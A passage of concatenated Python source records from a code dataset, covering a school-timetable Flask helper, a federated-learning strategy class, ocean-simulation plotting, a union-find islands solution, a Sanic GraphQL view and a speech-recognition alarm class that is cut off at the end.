def test_parse_raw_gds_event_records(self):\n \"\"\"\n python manage.py test data_processors.gds.tests.test_gds_event.GDSEventUnitTests.test_parse_raw_gds_event_records\n \"\"\"\n event_records_dict = gds_event.parse_raw_gds_event_records(_make_mock_sqs_message()['Records'])\n self.assertEqual(len(event_records_dict['gds_event_records']), 1)\n","sub_path":"data_processors/gds/tests/test_gds_event.py","file_name":"test_gds_event.py","file_ext":"py","file_size_in_byte":9970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"486692991","text":"# all code relating to school timetables\r\nimport sys\r\nimport json\r\nimport arrow\r\nfrom flask import render_template\r\n\r\nschoolDaysMap = \"ABCDE12FGHIJ34\" # map of days, - indicates weekend\r\nschoolDays = \"ABCDEFGHIJ\" # school days, no weekend marker\r\ndayNames = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday']\r\nschoolSeedDay = arrow.now().replace(day=23, month=1) # set seed_day to first A day of school year\r\n\r\nwith open('jack_timetable.json') as json_data:\r\n tt_data = json_data.read().replace(\"'\", '\"')\r\n timetable_jack = json.loads(tt_data)\r\n \r\nwith open('ben_timetable.json') as json_data:\r\n tt_data = json_data.read().replace(\"'\", '\"')\r\n timetable_ben = json.loads(tt_data)\r\n\r\ndef getSchoolDay(offset_day=0):\r\n # get the current school day letter\r\n diff_seed = (arrow.now().shift(days=offset_day) - schoolSeedDay).days # number of days passed since seed\r\n school_day = schoolDaysMap[diff_seed % len(schoolDaysMap)] # return the mod of the days map and seed\r\n return \"X\" if school_day.isdigit() else school_day\r\n\r\ndef getNextSchoolDay():\r\n offset_day = 1\r\n school_day = getSchoolDay(offset_day)\r\n while school_day == \"X\":\r\n offset_day += 1\r\n school_day = getSchoolDay(offset_day)\r\n return school_day\r\n\r\ndef getSchoolWeek():\r\n # return the school week, either A or F\r\n offset_day = 2 if getSchoolDay() == \"X\" else 0\r\n diff_seed = (arrow.now().shift(days=offset_day) - schoolSeedDay).days # number of days passed since seed\r\n return \"A\" if (diff_seed % len(schoolDaysMap)) < 7 else \"F\"\r\n\r\ndef getSportsDay(name, afterToday=False):\r\n # get the next sports for name\r\n # if afterToday then return the one after today\r\n day = getSchoolDay() if (not getSchoolDay().isdigit()) else getNextSchoolDay()\r\n splitDay = schoolDaysMap.split(day)\r\n checkDays = (splitDay[1] + splitDay[0] + day) if afterToday else (day + splitDay[1] + splitDay[0])\r\n timetable_json = eval(\"timetable_\" + name.lower()) # get timetable name\r\n for ch in checkDays:\r\n if not ch.isdigit():\r\n for lesson in timetable_json[ch]:\r\n if (timetable_json[ch][lesson] == \"Physical Education\") or (\"SPT\" in timetable_json[ch][lesson]):\r\n return ch\r\n\r\ndef renderTimetable(name, day=None):\r\n # return a basic formatted timetable for current day and name\r\n day = getSchoolDay() if day == None else day.upper() \r\n timetable_json = eval(\"timetable_\" + name.lower())\r\n html = '
'\r\n for i in sorted(timetable_json[day]):\r\n html += \"
\" + i + \"
\" + timetable_json[day][i] + \"
\"\r\n html += \"
\"\r\n return html\r\n\r\ndef getFormattedSchoolDay(afterToday=False):\r\n # returns school day letter formatted as \"Today is a/an X day\"\r\n schoolDay = getNextSchoolDay() if afterToday else getSchoolDay()\r\n if schoolDay == \"X\":\r\n return \"It's the weekend\"\r\n else:\r\n prefix = \"an\" if (schoolDay in { \"A\", \"E\", \"I\"}) else \"a\"\r\n return \"Today is \" + prefix + \" \" + schoolDay + \" day.\"\r\n\r\ndef getFormattedSportsDay(name, ignoreToday, afterToday=False):\r\n # return formatted next sports day (next Wednesday, Tomorrow etc)\r\n # if afterToday == \"1\" then don't check today\r\n day = getNextSchoolDay() if afterToday else getSchoolDay()\r\n findDay = getSportsDay(name, afterToday)\r\n splitDay = schoolDaysMap.split(day)\r\n checkDays = (\"X\" + splitDay[1] + splitDay[0] + day) if ignoreToday else (day + splitDay[1] + splitDay[0])\r\n offsetDay = checkDays.index(findDay)\r\n if afterToday:\r\n offsetDay += 1\r\n\t\r\n d = arrow.now()\r\n\r\n if offsetDay == 0:\r\n nextDay = getFormattedSportsDay(name, ignoreToday, True)\r\n return \"Today, and then \" + nextDay\r\n elif offsetDay == 1:\r\n return \"Tomorrow\"\r\n elif offsetDay > 5:\r\n d = d.shift(days=offsetDay)\r\n return \"next \" + dayNames[d.weekday()]\r\n else: \r\n d = d.shift(days=offsetDay)\r\n return \"this \" + dayNames[d.weekday()]\r\n\r\ndef getFormattedToday():\r\n return render_template('school.html', school_day=getFormattedSchoolDay(), ben_sports=getFormattedSportsDay(\"ben\", False), jack_sports=getFormattedSportsDay(\"jack\", False), \r\n ben_timetable=renderTimetable(\"ben\", getSchoolDay()), jack_timetable=renderTimetable(\"jack\", getSchoolDay()))\r\n\r\ndef getFormattedTomorrow():\r\n return render_template('school.html', school_day=getFormattedSchoolDay(True), ben_sports=getFormattedSportsDay(\"ben\", False, True), jack_sports=getFormattedSportsDay(\"jack\", False, True), \r\n ben_timetable=renderTimetable(\"ben\", getNextSchoolDay()), jack_timetable=renderTimetable(\"jack\", getNextSchoolDay()))\r\n","sub_path":"school.py","file_name":"school.py","file_ext":"py","file_size_in_byte":4811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"307389219","text":"import os\r\nimport json\r\nimport pickle\r\nimport numpy as np\r\nimport tensorflow as tf\r\nfrom .FedAvg import FedAvg\r\n\r\n\r\nclass LocalCentral(FedAvg):\r\n\r\n def __init__(self, role, data_config, model_config, runtime_config):\r\n super().__init__(role, data_config, model_config, runtime_config)\r\n\r\n if role == 'server':\r\n x_train = []\r\n y_train = []\r\n x_val = []\r\n y_val = []\r\n x_test = []\r\n y_test = []\r\n for client_id in range(self.runtime_config['server']['num_clients']):\r\n with open(os.path.join(self.data_config['data_dir'], 'client_%s.pkl' % client_id), 'rb') as f:\r\n data = pickle.load(f)\r\n x_train.append(data['x_train'])\r\n y_train.append(data['y_train'])\r\n x_val.append(data['x_val'])\r\n y_val.append(data['y_val'])\r\n x_test.append(data['x_test'])\r\n y_test.append(data['y_test'])\r\n self.train_data = {'x': np.array(x_train), 'y': np.array(y_train)}\r\n self.val_data = {'x': np.array(x_val), 'y': np.array(y_val)}\r\n self.test_data = {'x': np.array(x_test), 'y': np.array(y_test)}\r\n \r\n self.train_data_size = len(self.train_data['x'])\r\n self.val_data_size = len(self.val_data['x'])\r\n self.test_data_size = len(self.test_data['x'])\r\n \r\n def host_exit_job(self, host):\r\n train_loss, _ = self.fit_on_local_data()\r\n evaluate_results = self.local_evaluate()\r\n host.result_json.update({'central_train': evaluate_results})\r\n with open(os.path.join(host.log_dir, 'results.json'), 'w') as f:\r\n json.dump(host.result_json, f)\r\n\r\n def update_host_params(self, client_params, aggregate_weights):\r\n return None\r\n\r\n def set_host_params_to_local(self, host_params, current_round):\r\n pass\r\n\r\n def fit_on_local_data(self):\r\n self.local_params_pre = self._retrieve_local_params()\r\n train_log = self.ml_model.fit(\r\n **self.train_data, batch_size=self.model_config['FedModel']['B'],\r\n epochs=self.model_config['FedModel']['E'],\r\n validation_data=(self.val_data['x'], self.val_data['y']),\r\n callbacks=[\r\n tf.keras.callbacks.EarlyStopping(\r\n monitor='val_loss', patience=self.model_config['FedModel']['num_tolerance'],\r\n restore_best_weights=True\r\n )]\r\n )\r\n train_loss = train_log.history['loss'][-1]\r\n self.local_params_cur = self._retrieve_local_params()\r\n return train_loss, self.train_data_size\r\n","sub_path":"FedEval/strategy/LocalCentral.py","file_name":"LocalCentral.py","file_ext":"py","file_size_in_byte":2691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"342854632","text":"import os\nimport numpy as np\nimport xarray as xr\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport scipy.integrate as itr\n\nmatplotlib.rc('font', size=8)\nmatplotlib.rc('axes', titlepad=1)\n\ndata_dir = '../run'\ndiag1_file = 'diag1.glob.nc'\ngrid_file = 'grid.glob.nc'\nsave_dir = 'figures'\n\ngrid = xr.open_dataset(os.path.join(data_dir, grid_file))\ndiag1 = xr.open_dataset(os.path.join(data_dir, diag1_file))\n\n# %% bathymetry\nfig, ax = plt.subplots(1, 1)\nax.plot(grid.Y/1e3, -grid.Depth)\n\n# %% towyo section\nit = 500\nysl = slice(500, 2600)\nzsl = slice(80, 130)\n\nfig, axs = plt.subplots(3, 1, figsize=(6.5, 5), sharex=True, sharey=True)\naxs[0].pcolormesh(grid.Y[ysl], grid.Z[zsl], diag1.VVEL[it, zsl, ysl, 0],\n vmin=-0.3, vmax=0.3, rasterized=True, cmap='coolwarm')\naxs[1].pcolormesh(grid.Y[ysl], grid.Z[zsl], diag1.WVEL[it, zsl, ysl, 0],\n vmin=-0.1, vmax=0.1, rasterized=True, cmap='coolwarm')\naxs[2].pcolormesh(grid.Y[ysl], grid.Z[zsl], np.log10(diag1.KLeps[it, zsl, ysl, 0]),\n vmin=-11, vmax=-4, rasterized=True)\n\naxs[0].set_title('{} {}'.format(diag1['T'][it].values, diag1['T'][it].units))\n\n# %% images for movie\nplt.switch_backend(\"Agg\")\n\nysl = slice(500, 2600)\nzsl = slice(80, 130)\n\nfor it in range(diag1['T'].size):\n fig, axs = plt.subplots(3, 1, figsize=(6.5, 5), sharex=True, sharey=True)\n axs[0].pcolormesh(grid.Y[ysl], grid.Z[zsl], diag1.VVEL[it, zsl, ysl, 0],\n vmin=-0.3, vmax=0.3, rasterized=True, cmap='coolwarm')\n axs[1].pcolormesh(grid.Y[ysl], grid.Z[zsl], diag1.WVEL[it, zsl, ysl, 0],\n vmin=-0.1, vmax=0.1, rasterized=True, cmap='coolwarm')\n axs[2].pcolormesh(grid.Y[ysl], grid.Z[zsl], np.log10(diag1.KLeps[it, zsl, ysl, 0]),\n vmin=-11, vmax=-4, rasterized=True)\n axs[0].set_title('{} {}'.format(diag1['T'][it].values, diag1['T'][it].units))\n name = '{:03d}.png'.format(it)\n fig.savefig(os.path.join(save_dir, 'frames', name), bbox_inches='tight', pad_inches=0., dpi=200)\n plt.close(fig)\n\nplt.switch_backend(\"Qt5Agg\")\n\n# %% movie of just velocity\nplt.switch_backend(\"Agg\")\n\nysl = slice(450, 2600)\nzsl = slice(60, 130)\n\nfor it in range(diag1['T'].size):\n fig, ax = plt.subplots(1, 1, figsize=(8, 3), sharex=True, sharey=True)\n C = ax.pcolormesh(grid.Y[ysl]/1000 - 270, -grid.Z[zsl], diag1.VVEL[it, zsl, ysl, 0],\n vmin=-0.3, vmax=0.3, rasterized=True, cmap='coolwarm')\n cb = plt.colorbar(C, orientation='vertical')\n cb.set_label('Velocity (m s$^{-1}$)')\n ax.invert_yaxis()\n ax.set_title('{} {}'.format(diag1['T'][it].values, diag1['T'][it].units))\n name = 'vvel_{:03d}.png'.format(it)\n ax.set_xlabel('Distance (km)')\n ax.set_ylabel('Depth (m)')\n fig.savefig(os.path.join(save_dir, 'frames', name), bbox_inches='tight',\n pad_inches=0., dpi=200)\n plt.close(fig)\n\nplt.switch_backend(\"Qt5Agg\")\n\n# %% movie of velocity and dissipation\n\n\ndef add_ext_cbar1(fig, ax, C, w=None, h=None, x0=None, y0=None):\n bbox = ax.get_position()\n if w is None:\n w = 0.05/fig.get_size_inches()[0]\n if h is None:\n h = (bbox.y1 - bbox.y0)\n if x0 is None:\n x0 = 1\n if y0 is None:\n y0 = bbox.y0\n cax = fig.add_axes((x0, y0, w, h))\n cb = plt.colorbar(C, cax, orientation='vertical')\n return cb\n\n\nplt.switch_backend(\"Agg\")\n\nysl = slice(450, 2600)\nzsl = slice(60, 130)\n\nfor it in range(diag1['T'].size):\n fig, axs = plt.subplots(2, 1, figsize=(8, 5), sharex=True, sharey=True)\n C0 = axs[0].pcolormesh(grid.Y[ysl]/1000 - 270, -grid.Z[zsl], np.log10(diag1.KLeps[it, zsl, ysl, 0]),\n vmin=-11, vmax=-4, rasterized=True)\n cb0 = add_ext_cbar1(fig, axs[0], C0, x0=0.92)\n cb0.set_label('$\\log_{10} \\epsilon$ (W kg$^{-1}$)')\n C1 = axs[1].pcolormesh(grid.Y[ysl]/1000 - 270, -grid.Z[zsl], diag1.VVEL[it, zsl, ysl, 0],\n vmin=-0.3, vmax=0.3, rasterized=True, cmap='coolwarm')\n cb1 = add_ext_cbar1(fig, axs[1], C1, x0=0.92)\n cb1.set_label('Velocity (m s$^{-1}$)')\n axs[0].invert_yaxis()\n axs[0].set_title('{} {}'.format(diag1['T'][it].values, diag1['T'][it].units))\n name = 'vvel_diss_{:03d}.png'.format(it)\n axs[1].set_xlabel('Distance (km)')\n axs[0].set_ylabel('Depth (m)')\n axs[1].set_ylabel('Depth (m)')\n fig.savefig(os.path.join(save_dir, 'frames', name), bbox_inches='tight',\n pad_inches=0., dpi=200)\n plt.close(fig)\n\nplt.switch_backend(\"Qt5Agg\")\n\n# %% MP type plots\nplt.switch_backend(\"Agg\")\niyl = np.arange(860, 2600, 20)\nibottom = np.squeeze(np.searchsorted(-grid.Z, grid.Depth))\n\nfor iy in iyl:\n iz1 = ibottom[iy]\n iz0 = iz1 - 40\n zsl = slice(iz0, iz1)\n izs = np.arange(iz0, iz1, 9)\n\n fig, ax = plt.subplots(1, 1)\n ax.plot(grid.Y, -grid.Depth)\n ax.plot(grid.Y[iy].values*np.ones(grid.Z[zsl].shape), grid.Z[zsl])\n ax.plot(grid.Y[iy].values*np.ones(izs.shape), grid.Z[izs], 'o')\n name = '{:04d}_MP_profile.png'.format(iy)\n fig.savefig(os.path.join(save_dir, name), bbox_inches='tight', pad_inches=0., dpi=200)\n plt.close(fig)\n\n fig, axs = plt.subplots(2, 1, figsize=(6.5, 4), sharex=True, sharey=True)\n axs[0].pcolormesh(diag1['T'], grid.Z[zsl], diag1.VVEL[:, zsl, iy, 0].T,\n vmin=-0.3, vmax=0.3, rasterized=True, cmap='coolwarm')\n axs[1].pcolormesh(diag1['T'], grid.Z[zsl], np.log10(diag1.KLeps[:, zsl, iy, 0]).T,\n vmin=-11, vmax=-4, rasterized=True)\n name = '{:04d}_MP_timeseries.png'.format(iy)\n fig.savefig(os.path.join(save_dir, name), bbox_inches='tight', pad_inches=0., dpi=200)\n plt.close(fig)\n\n fig, ax = plt.subplots(1, 1, figsize=(6.5, 3), sharex=True, sharey=True)\n ax.plot(diag1['T'], np.average(diag1.KLeps[:, zsl, iy, 0], axis=1))\n name = '{:04d}_MP_eps_int.png'.format(iy)\n fig.savefig(os.path.join(save_dir, name), bbox_inches='tight', pad_inches=0., dpi=200)\n plt.close(fig)\n\n fig, ax = plt.subplots(1, 1, figsize=(6.5, 3))\n for iz in izs:\n ax.plot(diag1['T'], diag1.KLeps[:, iz, iy, 0],\n label='{:1.0f} {}'.format(grid.Z[iz].values, grid.Z.units))\n\n ax.legend()\n name = '{:04d}_MP_eps.png'.format(iy)\n fig.savefig(os.path.join(save_dir, name), bbox_inches='tight', pad_inches=0., dpi=200)\n plt.close(fig)\n\nplt.switch_backend(\"Qt5Agg\")\n\n# %% Compare with no tides\ndiag6 = xr.open_dataset('../../no_tide/run1/diag1.glob.nc')\n\niyl = [1010, 2000, 2500]\niz0l = [64, 74, 79]\niz1l = [114, 124, 129]\n\nfor iy, iz0, iz1 in zip(iyl, iz0l, iz1l):\n zsl = slice(iz0, iz1)\n izs = np.array([iz1-5])\n\n fig, ax = plt.subplots(1, 1)\n ax.plot(grid.Y, -grid.Depth)\n ax.plot(grid.Y[iy].values*np.ones(grid.Z[zsl].shape), grid.Z[zsl])\n ax.plot(grid.Y[iy].values*np.ones(izs.shape), grid.Z[izs], 'o')\n\n fig, axs = plt.subplots(2, 1, figsize=(6.5, 3), sharex=True,\n gridspec_kw={'height_ratios': [1, 5]})\n\n for i, iz in enumerate(izs):\n axs[0].plot(diag1['T'], 2*np.sin(2*np.pi*diag1['T']/44640))\n axs[1].plot(diag1['T'], diag1.KLeps[:, iz, iy, 0], 'C{}-'.format(i),\n label='tides')\n axs[1].plot(diag6['T'], diag6.KLeps[:, iz, iy, 0], 'C{}:'.format(i),\n label='no tides')\n axs[0].set_title('{:1.0f} {}'.format(grid.Z[iz].values, grid.Z.units))\n\n axs[1].legend()\n\neps1m = diag1.KLeps.mean(axis=(1, 2, 3))\neps6m = diag6.KLeps.mean(axis=(1, 2, 3))\nfig, axs = plt.subplots(3, 1, figsize=(6.5, 4), sharex=True,\n gridspec_kw={'height_ratios': [1, 4, 4]})\n\naxs[0].plot(diag1['T'], 2*np.sin(2*np.pi*diag1['T']/44640))\naxs[1].plot(diag1['T'], eps1m, label='tides')\naxs[1].plot(diag6['T'], eps6m, label='no tides')\naxs[2].plot(diag1['T'], itr.cumtrapz(eps1m, diag1['T'], initial=0))\naxs[2].plot(diag6['T'], itr.cumtrapz(eps6m, diag6['T'], initial=0))\naxs[1].legend()\n\naxs[0].set_ylabel('$v_{M2}$ (cm s$^{-1}$)')\naxs[1].set_ylabel('Mean $\\epsilon$\\n(W kg$^{-1}$)')\naxs[2].set_ylabel('Cumulative $\\epsilon$\\n(J kg$^{-1}$)')\n\nname = 'tide_notide_comparison_mean_eps.png'\nfig.savefig(os.path.join(save_dir, name), bbox_inches='tight', pad_inches=0.,\n dpi=200)\n","sub_path":"tide_2cm/analysis/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":8193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"584352158","text":"# A 2d grid map of m rows and n columns is initially filled with water.\n# We may perform an addLand operation which turns the water at position (row, col) into a land.\n# Given a list of positions to operate, count the number of islands after each addLand operation.\n# An island is surrounded by water and is formed by connecting adjacent lands horizontally or vertically.\n# You may assume all four edges of the grid are all surrounded by water.\n# 为解决这种陆地之间会合并的情况,最好能将每个陆地都标记出其属于哪个岛屿,\n# 会方便统计岛屿个数,\n\n# 于是需要一个长度为m*n的一维数组来标记各个位置属于哪个岛屿,\n# 假设每个位置都是一个单独岛屿,岛屿编号可以用其坐标位置表示,但是我们初始化时将其都赋为-1,\n# 方便知道哪些位置尚未开发。然后我们开始遍历陆地数组,将其岛屿编号设置为其坐标位置,然后岛屿计数加1,\n# 遍历其上下左右的位置,遇到越界或者岛屿标号为-1的情况直接跳过,\n# 否则来查找邻居位置的岛屿编号,如果邻居的岛屿编号和当前点的编号不同,说明我们需要合并岛屿,\n# 将此点的编号赋为邻居的编号,在编号数组里也要修改,并将岛屿计数cnt减1。\n# 当我们遍历完当前点的所有邻居时,该合并的都合并完了,将此时的岛屿计数cnt存入结果中。\n#\n# 注意在查找岛屿编号的函数中我们可以做���径压缩Path Compression,\n# 只需加上一行roots[id] = roots[roots[id]];\n# 这样在编号数组中,所有属于同一个岛屿的点的编号都相同\n# Example:\n# Given m = 3, n = 3, positions = [[0,0], [0,1], [1,2], [2,1]].\n# Initially, the 2d grid grid is filled with water.\n# (Assume 0 represents water and 1 represents land).\nclass Solution(object):\n def numIslands2(self, m, n, positions):\n \"\"\"\n :type m: int\n :type n: int\n :type positions: List[List[int]]\n :rtype: List[int]\n \"\"\"\n\n# Given a n,m which means the row and column of the 2D matrix\n# and an array of pair A( size k).\n\n# Given n = 3, m = 3, array of pair A = [(0, 0), (0, 1), (2, 2), (2, 1)]. return [1, 1, 2, 2].\n# Originally, the 2D matrix is all 0 which means there is only sea in the matrix.\n# The list pair has k operator and each operator has two integer A[i].x, A[i].y\n# means that you can change the grid matrix[A[i].x][A[i].y] from sea to island.\n# Return how many island are there in the matrix after each operator.\n\nclass UnionFind:\n # use dic, key is node, val is parent\n def __init__(self, list):\n self.father = list\n\n # recursive\n def find(self, x):\n if self.father[x] == x:\n return x\n self.father[x] = self.find(self.father[x])\n return self.father[x]\n\n def union(self, x, y):\n # if next_id round the point is unvisited\n if self.father[x] == -1 or self.father[y] == -1:\n return False\n # find the boss of x, y\n x, y = self.find(x), self.find(y)\n # only when they blong to different sets, visited\n if x != y:\n self.father[x] = y\n return True\n else:\n return False\n\n\nclass Point:\n def __init__(self, a=0, b=0):\n self.x = a\n self.y = b\n\n\nclass Solution(object):\n def numIslands2(self, m, n, positions):\n \"\"\"\n :type m: int\n :type n: int\n :type positions: List[List[int]]\n :rtype: List[int]\n \"\"\"\n\n def flattern(x, y, n):\n return x * n + y\n\n def inBound(x, y, m, n):\n return x >= 0 and x < m and y >= 0 and y < n\n\n moves = [[0, 1], [0, -1], [1, 0], [-1, 0]]\n track = [-1 for i in xrange(m * n)]\n res = []\n count = 0\n for px, py in positions:\n index = flattern(px, py, n)\n if track[index] == -1:\n count += 1\n track[index] = index\n uf = UnionFind(track)\n for dx, dy in moves:\n x, y = px + dx, py + dy\n next_id = flattern(x, y, n)\n if inBound(x, y, m, n) and uf.union(next_id, index):\n count -= 1\n res.append(count)\n return res\n","sub_path":"Data_Structure_Combo/Union_Find/num_of_islands2.py","file_name":"num_of_islands2.py","file_ext":"py","file_size_in_byte":4290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"306620241","text":"import copy\nfrom cgi import parse_header\nfrom collections.abc import MutableMapping\nfrom functools import partial\nfrom typing import List\n\nfrom graphql import ExecutionResult, GraphQLError, specified_rules\nfrom graphql.type.schema import GraphQLSchema\nfrom sanic.response import HTTPResponse, html\nfrom sanic.views import HTTPMethodView\n\nfrom graphql_server import (\n GraphQLParams,\n HttpQueryError,\n encode_execution_results,\n format_error_default,\n json_encode,\n load_json_body,\n run_http_query,\n)\nfrom graphql_server.render_graphiql import (\n GraphiQLConfig,\n GraphiQLData,\n GraphiQLOptions,\n render_graphiql_async,\n)\n\n\nclass GraphQLView(HTTPMethodView):\n schema = None\n root_value = None\n context = None\n pretty = False\n graphiql = False\n graphiql_version = None\n graphiql_template = None\n graphiql_html_title = None\n middleware = None\n validation_rules = None\n batch = False\n jinja_env = None\n max_age = 86400\n enable_async = False\n subscriptions = None\n headers = None\n default_query = None\n header_editor_enabled = None\n should_persist_headers = None\n\n methods = [\"GET\", \"POST\", \"PUT\", \"DELETE\"]\n\n format_error = staticmethod(format_error_default)\n encode = staticmethod(json_encode)\n\n def __init__(self, **kwargs):\n super(GraphQLView, self).__init__()\n for key, value in kwargs.items():\n if hasattr(self, key):\n setattr(self, key, value)\n\n assert isinstance(\n self.schema, GraphQLSchema\n ), \"A Schema is required to be provided to GraphQLView.\"\n\n def get_root_value(self):\n return self.root_value\n\n def get_context(self, request):\n context = (\n copy.copy(self.context)\n if self.context and isinstance(self.context, MutableMapping)\n else {}\n )\n if isinstance(context, MutableMapping) and \"request\" not in context:\n context.update({\"request\": request})\n return context\n\n def get_middleware(self):\n return self.middleware\n\n def get_validation_rules(self):\n if self.validation_rules is None:\n return specified_rules\n return self.validation_rules\n\n async def dispatch_request(self, request, *args, **kwargs):\n try:\n request_method = request.method.lower()\n data = self.parse_body(request)\n\n show_graphiql = request_method == \"get\" and self.should_display_graphiql(\n request\n )\n catch = show_graphiql\n\n pretty = self.pretty or show_graphiql or request.args.get(\"pretty\")\n\n if request_method != \"options\":\n all_params: List[GraphQLParams]\n execution_results, all_params = run_http_query(\n self.schema,\n request_method,\n data,\n query_data=request.args,\n batch_enabled=self.batch,\n catch=catch,\n # Execute options\n run_sync=not self.enable_async,\n root_value=self.get_root_value(),\n context_value=self.get_context(request),\n middleware=self.get_middleware(),\n validation_rules=self.get_validation_rules(),\n )\n exec_res = (\n [\n ex\n if ex is None or isinstance(ex, ExecutionResult)\n else await ex\n for ex in execution_results\n ]\n if self.enable_async\n else execution_results\n )\n result, status_code = encode_execution_results(\n exec_res,\n is_batch=isinstance(data, list),\n format_error=self.format_error,\n encode=partial(self.encode, pretty=pretty), # noqa: ignore\n )\n\n if show_graphiql:\n graphiql_data = GraphiQLData(\n result=result,\n query=getattr(all_params[0], \"query\"),\n variables=getattr(all_params[0], \"variables\"),\n operation_name=getattr(all_params[0], \"operation_name\"),\n subscription_url=self.subscriptions,\n headers=self.headers,\n )\n graphiql_config = GraphiQLConfig(\n graphiql_version=self.graphiql_version,\n graphiql_template=self.graphiql_template,\n graphiql_html_title=self.graphiql_html_title,\n jinja_env=self.jinja_env,\n )\n graphiql_options = GraphiQLOptions(\n default_query=self.default_query,\n header_editor_enabled=self.header_editor_enabled,\n should_persist_headers=self.should_persist_headers,\n )\n source = await render_graphiql_async(\n data=graphiql_data,\n config=graphiql_config,\n options=graphiql_options,\n )\n return html(source)\n\n return HTTPResponse(\n result, status=status_code, content_type=\"application/json\"\n )\n\n else:\n return self.process_preflight(request)\n\n except HttpQueryError as e:\n parsed_error = GraphQLError(e.message)\n return HTTPResponse(\n self.encode(dict(errors=[self.format_error(parsed_error)])),\n status=e.status_code,\n headers=e.headers,\n content_type=\"application/json\",\n )\n\n # noinspection PyBroadException\n def parse_body(self, request):\n content_type = self.get_mime_type(request)\n if content_type == \"application/graphql\":\n return {\"query\": request.body.decode(\"utf8\")}\n\n elif content_type == \"application/json\":\n return load_json_body(request.body.decode(\"utf8\"))\n\n elif content_type in (\n \"application/x-www-form-urlencoded\",\n \"multipart/form-data\",\n ):\n return request.form\n\n return {}\n\n @staticmethod\n def get_mime_type(request):\n # We use mime type here since we don't need the other\n # information provided by content_type\n if \"content-type\" not in request.headers:\n return None\n\n mime_type, _ = parse_header(request.headers[\"content-type\"])\n return mime_type\n\n def should_display_graphiql(self, request):\n if not self.graphiql or \"raw\" in request.args:\n return False\n\n return self.request_wants_html(request)\n\n @staticmethod\n def request_wants_html(request):\n accept = request.headers.get(\"accept\", {})\n return \"text/html\" in accept or \"*/*\" in accept\n\n def process_preflight(self, request):\n \"\"\" Preflight request support for apollo-client\n https://www.w3.org/TR/cors/#resource-preflight-requests \"\"\"\n origin = request.headers.get(\"Origin\", \"\")\n method = request.headers.get(\"Access-Control-Request-Method\", \"\").upper()\n\n if method and method in self.methods:\n return HTTPResponse(\n status=200,\n headers={\n \"Access-Control-Allow-Origin\": origin,\n \"Access-Control-Allow-Methods\": \", \".join(self.methods),\n \"Access-Control-Max-Age\": str(self.max_age),\n },\n )\n else:\n return HTTPResponse(status=400)\n","sub_path":"graphql_server/sanic/graphqlview.py","file_name":"graphqlview.py","file_ext":"py","file_size_in_byte":7839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"647009698","text":"from backend.AlarmClock.Alarm import *\nfrom backend.SpeechRecognition.RecognizeWords import *\nfrom playsound import playsound\n\n\nclass SpeechAlarm(Alarm):\n \"\"\"\n This class represents speech recognition alarm\n \"\"\"\n\n def __init__(self, alarm_id, main_screen, time, days, description, num_words, mic_num=0, sim_thresh=0.65):\n \"\"\"\n Creates a new SpeechAlarm.\n\n Args:\n alarm_id (String): unique identifier for the alarm.\n main_screen (Screen): screen to return to after the alarm is done executing.\n time (datetime.time): time for the alarm to ring.\n days (list(int)): days indexes for the days the alarm should ring.\n description (String): description of the alarm.\n num_words (int): number of words the user to pronounce in order to dismiss the alarm.\n mic_num (int): device number of the microphone used for the speech recognition.\n sim_thresh (float): measure to determine the minimum ratio two words considered similar.\n \"\"\"\n Alarm.__init__(self, alarm_id, main_screen, time, days, description)\n self.num_words = num_words\n self.mic_num = mic_num\n self.sim_thresh = sim_thresh\n\n def execute_alarm(self):\n \"\"\"\n Invokes speech detection algorithm.\n Transition the user to the speech recognition screen.\n \"\"\"\n word_recognizer = RecognizeWords.getInstance()\n # getting words details for the words the user needs to speak\n try:\n word_list = word_recognizer.get_word_list(self.num_words)\n # loads details for first word\n self.load_word_screen(word_list)\n except Exception as e:\n # show error dialog\n self.main_screen.manager.screens[3].show_error_dialog(str(e))\n # navigate to next screen\n super(SpeechAlarm, self).execute_alarm()\n\n def load_word_screen(self, word_list):\n \"\"\"\n Setting up the details for each word in the speech recognition screen.\n\n word_list (list(WordItem)): list containing details of all the words the user needs to speak.\n \"\"\"\n # getting the screen\n dismiss_speech_screen = self.main_screen.manager.screens[4]\n current_word = word_list[0]\n rest_word_list = word_list[1:]\n\n # load the next word's details if the rest of the list is not empty,\n # navigate the user to the main screen otherwise.\n def go_to_next_word(): return self.load_word_screen(rest_word_list)\n next_button_on_press = super(SpeechAlarm, self).execute_alarm if len(\n rest_word_list) == 0 else go_to_next_word\n\n # getting method to execute when the user wish to speak\n mic_on_press = self.get_mic_on_press(\n next_button_on_press, current_word.title, dismiss_speech_screen)\n\n # getting method to listen to the word's pronunciation\n def pronounce_on_press(): return playsound(current_word.pronounce_audio)\n\n # setting up details in the screen\n dismiss_speech_screen.dismiss_speech_title.title = f\"Dismiss Speech - {current_word.title}\"\n dismiss_speech_screen.dismiss_speech_word.text = current_word.title\n dismiss_speech_screen.dismiss_speech_pronounce.text = current_word.pronounce\n dismiss_speech_screen.dismiss_speech_pos.text = current_word.pos\n dismiss_speech_screen.dismiss_speech_play_word.on_press = pronounce_on_press\n dismiss_speech_screen.dismiss_speech_word_desc.text = current_word.meaning\n dismiss_speech_screen.dismiss_speech_record.on_press = mic_on_press\n dismiss_speech_screen.dismiss_speech_bottom.right_action_items = [\n [\"arrow-right-bold\", lambda x: next_button_on_press()]]\n\n # navigating the user to the next screen\n dismiss_speech_screen.manager.transition.direction = 'left'\n dismiss_speech_screen.manager.current = 'dismiss_speech'\n\n def get_mic_on_press(self, next_button_on_press, word_title, dismiss_speech_screen):\n \"\"\"\n Returns a method to execute when the user wish to speak a word.\n\n Args:\n next_button_on_press (function -> None): function to transition the user to the next screen.\n word_title (String): current word the user needs to speak.\n dismiss_speech_screen (Screen): speech recognition screen\n\n \"\"\"\n def mic_on_press():\n if dismiss_speech_screen.is_speech_button_enabled():\n dismiss_speech_screen.disable_speech_button()\n # TODO: alert the user to start 